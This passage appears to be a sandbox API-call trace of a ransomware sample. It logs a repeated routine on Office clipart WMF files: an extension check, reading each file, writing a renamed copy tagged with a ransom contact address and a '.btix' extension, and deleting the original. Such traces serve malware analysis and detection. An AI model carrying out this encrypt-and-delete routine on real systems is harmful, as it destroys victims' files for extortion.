lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.588] SetEndOfFile (hFile=0x378) returned 1 [0151.588] CloseHandle (hObject=0x378) returned 1 [0151.588] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.588] SetEndOfFile (hFile=0x348) returned 1 [0151.589] CloseHandle (hObject=0x348) returned 1 [0151.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0151.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.590] lstrlenW (lpString=".doc") returned 4 [0151.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.590] lstrlenW (lpString=".docx") returned 5 [0151.590] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.590] lstrlenW (lpString=".pdf") returned 4 [0151.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.590] lstrlenW (lpString=".xls") returned 4 [0151.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.590] lstrlenW (lpString=".xlsx") returned 5 [0151.590] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.590] lstrlenW (lpString=".ppt") returned 4 [0151.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.590] lstrlenW (lpString=".zip") returned 4 [0151.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.590] lstrlenW (lpString=".rar") returned 4 [0151.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.590] lstrlenW (lpString=".bz2") returned 4 [0151.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.590] lstrlenW (lpString=".7z") returned 3 [0151.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.590] lstrlenW (lpString=".dbf") returned 4 [0151.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.590] lstrlenW (lpString=".1cd") returned 4 [0151.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.591] lstrlenW (lpString=".jpg") returned 4 [0151.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.591] lstrlenW (lpString=".doc") returned 4 [0151.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.591] lstrlenW (lpString=".docx") returned 5 [0151.591] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.591] lstrlenW (lpString=".pdf") returned 4 [0151.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.591] lstrlenW (lpString=".xls") returned 4 [0151.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.591] lstrlenW (lpString=".xlsx") returned 5 [0151.591] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.591] lstrlenW (lpString=".ppt") returned 4 [0151.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.591] lstrlenW (lpString=".zip") returned 4 [0151.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.591] lstrlenW (lpString=".rar") returned 4 [0151.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.591] lstrlenW (lpString=".bz2") returned 4 [0151.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.591] lstrlenW (lpString=".7z") returned 3 [0151.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.591] lstrlenW (lpString=".dbf") returned 4 [0151.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.592] lstrlenW (lpString=".1cd") returned 4 [0151.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0151.592] lstrlenW (lpString=".jpg") returned 4 [0151.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.592] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.592] lstrlenW (lpString="J0105266.WMF") returned 12 [0151.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.592] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=5908) returned 1 [0151.592] CloseHandle (hObject=0x348) returned 1 [0151.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220 [0151.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.592] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.593] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.593] GetLastError () returned 0x0 [0151.593] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1714, lpOverlapped=0x0) returned 1 [0151.777] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1720, lpOverlapped=0x0) returned 1 [0151.780] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.780] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.781] SetEndOfFile (hFile=0x378) returned 1 [0152.213] CloseHandle (hObject=0x378) returned 1 [0152.213] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.213] SetEndOfFile (hFile=0x348) returned 1 [0152.214] CloseHandle (hObject=0x348) returned 1 [0152.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0152.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.215] lstrlenW (lpString=".doc") returned 4 [0152.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.215] lstrlenW (lpString=".docx") returned 5 [0152.215] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.215] lstrlenW (lpString=".pdf") returned 4 [0152.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.215] lstrlenW (lpString=".xls") returned 4 [0152.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.215] lstrlenW (lpString=".xlsx") returned 5 [0152.215] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.215] lstrlenW (lpString=".ppt") returned 4 [0152.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.215] lstrlenW (lpString=".zip") returned 4 [0152.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.215] lstrlenW (lpString=".rar") returned 4 [0152.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.215] lstrlenW (lpString=".bz2") returned 4 [0152.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.215] lstrlenW (lpString=".7z") returned 3 [0152.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.215] lstrlenW (lpString=".dbf") returned 4 [0152.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.215] lstrlenW (lpString=".1cd") returned 4 [0152.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.215] lstrlenW (lpString=".jpg") returned 4 [0152.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.216] lstrlenW (lpString=".doc") returned 4 [0152.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.216] lstrlenW (lpString=".docx") returned 5 [0152.216] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.216] lstrlenW (lpString=".pdf") returned 4 [0152.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.216] lstrlenW (lpString=".xls") returned 4 [0152.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.216] lstrlenW (lpString=".xlsx") returned 5 [0152.216] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.216] lstrlenW (lpString=".ppt") returned 4 [0152.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.216] lstrlenW (lpString=".zip") returned 4 [0152.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.216] lstrlenW (lpString=".rar") returned 4 [0152.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.216] lstrlenW (lpString=".bz2") returned 4 [0152.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.216] lstrlenW (lpString=".7z") returned 3 [0152.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.216] lstrlenW (lpString=".dbf") returned 4 [0152.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.216] lstrlenW (lpString=".1cd") returned 4 [0152.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0152.216] lstrlenW (lpString=".jpg") returned 4 [0152.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.216] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.217] lstrlenW (lpString="J0105378.WMF") returned 12 [0152.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.217] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4964) returned 1 [0152.217] CloseHandle (hObject=0x348) returned 1 [0152.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220 [0152.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.217] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.217] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0152.218] GetLastError () returned 0x0 [0152.218] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1364, lpOverlapped=0x0) returned 1 [0152.218] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1370, lpOverlapped=0x0) returned 1 [0152.219] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.219] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.219] SetEndOfFile (hFile=0x378) returned 1 [0152.219] CloseHandle (hObject=0x378) returned 1 [0152.220] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.220] SetEndOfFile (hFile=0x348) returned 1 [0152.220] CloseHandle (hObject=0x348) returned 1 [0152.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 1 [0152.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.221] lstrlenW (lpString=".doc") returned 4 [0152.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.221] lstrlenW (lpString=".docx") returned 5 [0152.221] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.221] lstrlenW (lpString=".pdf") returned 4 [0152.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.221] lstrlenW (lpString=".xls") returned 4 [0152.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.221] lstrlenW (lpString=".xlsx") returned 5 [0152.221] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.221] lstrlenW (lpString=".ppt") returned 4 [0152.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.221] lstrlenW (lpString=".zip") returned 4 [0152.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.221] lstrlenW (lpString=".rar") returned 4 [0152.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.221] lstrlenW (lpString=".bz2") returned 4 [0152.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.221] lstrlenW (lpString=".7z") returned 3 [0152.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.221] lstrlenW (lpString=".dbf") returned 4 [0152.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.222] lstrlenW (lpString=".1cd") returned 4 [0152.222] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.222] lstrlenW (lpString=".jpg") returned 4 [0152.222] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.222] lstrlenW (lpString=".doc") returned 4 [0152.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.222] lstrlenW (lpString=".docx") returned 5 [0152.222] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.222] lstrlenW (lpString=".pdf") returned 4 [0152.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.222] lstrlenW (lpString=".xls") returned 4 [0152.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.222] lstrlenW (lpString=".xlsx") returned 5 [0152.222] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.222] lstrlenW (lpString=".ppt") returned 4 [0152.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.222] lstrlenW (lpString=".zip") returned 4 [0152.222] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.222] lstrlenW (lpString=".rar") returned 4 [0152.222] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.222] lstrlenW (lpString=".bz2") returned 4 [0152.222] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.222] lstrlenW (lpString=".7z") returned 3 [0152.222] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.222] lstrlenW (lpString=".dbf") returned 4 [0152.222] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.222] lstrlenW (lpString=".1cd") returned 4 [0152.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0152.223] lstrlenW (lpString=".jpg") returned 4 [0152.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.223] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.223] lstrlenW (lpString="J0105380.WMF") returned 12 [0152.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.223] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4624) returned 1 [0152.223] CloseHandle (hObject=0x348) returned 1 [0152.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220 [0152.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.223] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.223] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0152.224] GetLastError () returned 0x0 [0152.224] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1210, lpOverlapped=0x0) returned 1 [0152.225] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1220, lpOverlapped=0x0) returned 1 [0152.226] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.226] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.226] SetEndOfFile (hFile=0x378) returned 1 [0152.226] CloseHandle (hObject=0x378) returned 1 [0152.226] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.226] SetEndOfFile (hFile=0x348) returned 1 [0152.227] CloseHandle (hObject=0x348) returned 1 [0152.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 